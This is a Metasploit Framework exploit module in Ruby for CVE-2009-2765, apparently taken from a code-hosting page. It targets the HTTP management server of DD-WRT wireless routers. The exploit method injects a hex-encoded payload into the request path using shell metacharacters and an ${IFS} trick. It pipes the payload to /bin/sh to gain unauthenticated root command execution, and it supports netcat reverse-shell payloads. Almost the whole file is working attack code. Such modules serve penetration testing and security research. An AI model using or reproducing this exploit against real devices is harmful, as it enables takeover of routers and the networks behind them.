84 lines
1.8 KiB
Ruby
84 lines
1.8 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'DD-WRT HTTP Daemon Arbitrary Command Execution',
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'Description' => %q{
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This module abuses a metacharacter injection vulnerability in the
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HTTP management server of wireless gateways running DD-WRT. This flaw
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allows an unauthenticated attacker to execute arbitrary commands as
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the root user account.
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},
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'Author' => [ 'gat3way', 'hdm' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2009-2765'],
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[ 'OSVDB', '55990' ],
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[ 'BID', '35742' ],
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[ 'URL', 'http://www.milw0rm.com/exploits/9209'],
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],
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'Platform' => ['unix'],
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'Arch' => ARCH_CMD,
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'Privileged' => true,
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'Payload' =>
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{
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'Space' => 1024,
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'DisableNops' => true,
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'Compat' =>
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{
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'RequiredCmd' => 'generic netcat-e'
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}
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},
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'Targets' =>
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[
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[ 'Automatic Target', { }]
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],
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(80)
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], self.class)
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end
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def exploit
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connect
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cmd = payload.encoded.unpack("C*").map{|c| "\\x%.2x" % c}.join
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str = "echo${IFS}-ne${IFS}\"#{cmd}\"|/bin/sh&"
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req =
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"GET /cgi-bin/;#{str} HTTP/1.1\r\n" +
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"Host: #{rhost}\r\n" +
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"Content-Length: 0\r\n\r\n"
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print_status("Sending GET request with encoded command line...")
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sock.put(req)
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handler
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disconnect
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end
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end
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